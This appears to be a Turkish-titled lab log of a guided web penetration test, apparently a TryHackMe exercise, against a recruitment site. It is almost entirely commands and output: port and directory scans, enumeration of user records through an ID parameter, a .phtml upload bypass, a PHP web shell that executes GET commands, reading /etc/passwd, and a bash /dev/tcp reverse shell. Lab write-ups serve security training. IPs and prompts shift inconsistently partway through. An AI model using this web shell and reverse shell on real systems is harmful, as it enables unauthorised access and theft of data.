#PTHM-Yönlendirilmiş Sızma Testi:WEB

root@CW-ommah:~# nmap -sV -sC -p- 10.114.180.2
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.114.180.2
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

root@CW-ommah:~# curl -I http://10.114.180.2
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 16:43:09 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=f05vg10cq16k3kq5vpurgpioqb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

root@cw-ommah:~# gobuster dir -u http://10.114.180.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.114.180.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 21600]
/profile.php          (Status: 302) [Size: 0]
/login.php            (Status: 200) [Size: 15107]
/jobs.php             (Status: 200) [Size: 20288]
/uploads              (Status: 301) [Size: 314]
/data                 (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312]
/test                 (Status: 200) [Size: 705]
/includes             (Status: 301) [Size: 315]
/api                  (Status: 301) [Size: 310]
/logout.php           (Status: 302) [Size: 0]
/config               (Status: 301) [Size: 313]
/dashboard.php        (Status: 302) [Size: 0]
/register.php         (Status: 200) [Size: 17384]
/reset.php            (Status: 200) [Size: 14408]
/.php                 (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================

root@CW-ommah:~# curl http://10.114.180.2/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}

http://10.114.180.2/profile.php?id=6

root@CW-ommah:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://10.114.180.2/profile.php?id=1" | grep "fw-semibold"
                        <div class="fw-semibold mt-1">Sarah Mitchell</div>
                        <div class="fw-semibold mt-1 mono">[email protected]</div>

root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"[email protected]","role":"administrator","created":"2026-03-24"}
root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=2"
{"id":2,"name":"James Crawford","email":"[email protected]","role":"hiring_manager","created":"2026-03-24"}

/admin/upload.php

root@CW-ommah:~# echo "This is a test file" > test.txt

root@CW-ommah:~# echo '<?php echo "PHP is executing"; ?>' > test.php

root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml

http://SiTE_IP/uploads/documents/test.phtml

<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=whoami"
<pre>www-data</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=hostname"
<pre>example-hostame</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=uname+-a"
<pre>Linux example-hostame 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct  2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux</pre>

root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2088  100  2088    0     0   398k      0 --:--:-- --:--:-- --:--:--  407k
<pre>root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
</pre>

root@CW-ommah:~# nc -lvnp 4444
listening on [any] 4444 ...

root@tryhackme:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.113.74.142/4444+0>%261'"

root@tryhackme:~# nc -lvnp 4444
listening on [any] 4444 ...
Connection received on 10.113.74.142 48268
www-data@example-hostame:/var/www/html/uploads/documents$ whoami
www-data
www-data@example-hostame:/var/www/uploads/documents$